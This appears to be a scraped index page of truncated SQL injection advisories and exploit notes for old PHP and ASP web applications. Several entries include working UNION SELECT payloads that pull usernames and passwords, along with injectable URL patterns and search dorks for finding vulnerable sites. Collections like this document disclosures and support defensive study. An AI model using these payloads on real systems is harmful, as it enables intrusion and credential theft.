CVE-2008-2456

SQL injection vulnerability in index.php in ComicShout 2.5 and earlier allows remote attackers to execute arbitrary SQL commands via the comicid parameter...

EntertainmentScript 1.4.0 - 'play.php' SQL Injection

rEm0te SQL Injection Vulnerability EntertainmentScript V1.4.0 play.php id Script : EntertainmentScript.com V1.4.0 name script on demo site is fastfreemedia DeMo : http://demo.fastfreemedia.com/index.php AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] D0rK :: : not found -:: SQL :...

postnukeschedule-sql.txt

Vuln: Postnuke Mod PostSchedule SQL Vuln Author: Vuln search Kacper kacper1964atyahoo.pl google:"PostSchedule ver 1" Vuln: index.php?module=PostSchedule&view=event&eid=-1'+union+select+0,1,2,3,4,5,6,7,8,concatpnuname,char58,pnpass,10,11,12,13//from//nukeusers//where//pnuid=2/ $Severo: Moga byc...

cuteflow-sqlxss.txt

CuteFlow Version 1.5.0 Multiple Remote Vulnerabilities sql injection & Xss Virangar Security Team www.virangar.org www.virangar.net -------- Discoverd By : hadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all iranian hackerz greetz:to my best friend in the...

becontent-sql.txt

Founder By Cr@zyKing HackShow.Us BeContent v.031 id Remote Sql Vuln. Down : http://code.google.com/p/becontent/downloads/list?idmenu=9 Exploit: news.php?id=-3+union+select+1,concatws0x3a,username,password,3,4+from+users Greatz : Barakuda GraBBerZ team & CrackersChild & Eno7 & DreamTurk & Gencturk...

Sql injection

SQL injection vulnerability in liste.php in ID-Commerce 2.0 and earlier allows remote attackers to execute arbitrary SQL commands via the idFamille parameter...

websihirbazi-sql.txt

||---------------------------------------------------------------------- | Title : websihirbazi v5.1.1 Remote Blind SQL Injection Vulnerability| ||---------------------------------------------------------------------- | AUTHOR: bypas |...

Dvbbs8 serious vulnerability-vulnerability warning-the black bar safety net

I here it has been assumed that a DVBBS8 SQL: We first register a user, just find a post. Just broke。。。。 We have to re-send a post. Discovery table review, where to capture POST /dvbbs8/Appraise. asp? action=save HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,...

cissp-sql.txt

http://career.cissp.com/Bios/CompanyBio.asp?EmployerID=10'3281&Section=Welcome...

Zindizayn Okul Web Sistemi v1.0 Sql VulnZ.

Script's Name : Zindizayn Okul Web Sistemi v1.0 tr Script's MainPage : http://www.okulwebsistemi.com Risk : Medium Found By : ShaFuck31 Thanks : | The RйD | DesquneR | SaboTaqe | ST@ReXT | BLaSTER | Vulnerable file : mezungiris.asp & ogretmenkontrol.asp Vuln :...

LocazoList 2.01a beta5 - 'subcatID' SQL Injection

Title : LocazoList = v2.01a beta5 subcatID Remote SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.locazo.net:81 Dork : "Powered by Locazolist Copyright © 2006" $$ : $100 SQL---------------------------------------------------------...

spooky-sql.txt

This is a user management program where the users can register themselves by providing their username and passwords for protecting their webcontents. This program provide features like remembering login with cookies, automatic login, extended user info, expire user by date, admin can activate...

Small ficus WIS vulnerability of supplementary articles and use article-vulnerability warning-the black bar safety net

: Yesterday I saw ALLyeSNO of this article, but always do not understand the original text that the meaning of the Until today...... Vulnerability found by : ALLyeSNO http://blog.csdn.net/freexploit/ WIS is a small ficus the development of the SQL vulnerability scanning tools WIS on the&character...

CVE-2006-3389

index.php in WordPress 2.0.3 allows remote attackers to obtain sensitive information, such as SQL table prefixes, via an invalid paged parameter, which displays the information in an SQL error message. NOTE: this issue has been disputed by a third party who states that the issue does not leak any...

WBB-showmods.txt

======================================== Discovered By: CrAzY CrAcKeR Site:www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-Lover Hacker-Breeeeh BoNym-Rootshill-LiNuXrOOt-Sw33t h4ck3r ======================================== Example:- /showmods.php?boardid=SQL...

MND-SQL.txt

============================================= Discovered By: CrAzY CrAcKeR Site:www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-Lover Hacker-Breeeeh BoNym-Rootshill-LiNuXrOOt-Sw33t h4ck3r ============================================= Example:-...

X-Changer <=v0.2 Demo SQL injection

+X-Changer v0.2 Demo +website of software:http://www.skintech.org +founded by Morocco Security Team +special 10x to:all friends ww.lezr.com & www.cim-team.org +SQL +http://target/index.php?from=sql&into=sql&value=1&action=calculate +http://target/index.php?action=edit&id=sql +have nice day...

PluggedOut Blog SQL vuln.

PluggedOut Blog SQL vuln. Vuln. dicovered by : r0t Date: 5 dec. 2005 orginal advisory:http://pridels.blogspot.com/2005/12/pluggedout-blog-sql-vuln.html vendor:www.pluggedout.com/index.php?pk=devblog affected version:1.9.4 , 1.9.5 and prior Product Description: Blog is an open source script you ca...

Web4Future eDating Professional v5 sql vuln.

Web4Future eDating Professional v5 sql vuln. Vuln. dicovered by : r0t Date: 5 dec. 2005 orginal advisory:http://pridels.blogspot.com/2005/12/web4future-edating-professional-v5-sql.html vendor:http://www.web4future.com/products.php?p=edating affected version: v5 and prior Product Description:...

Orca Knowledgebase SQL vuln.

Orca Knowledgebase SQL vuln. Vuln. dicovered by : r0t Date: 29 nov. 2005 orginal advisory:http://pridels.blogspot.com/2005/11/orca-knowledgebase-sql-vuln.html Vendor:http://www.greywyvern.com/orcaknow affected version: 2.1b and prior Product Description: The Orca Knowledgebase is the simplest way...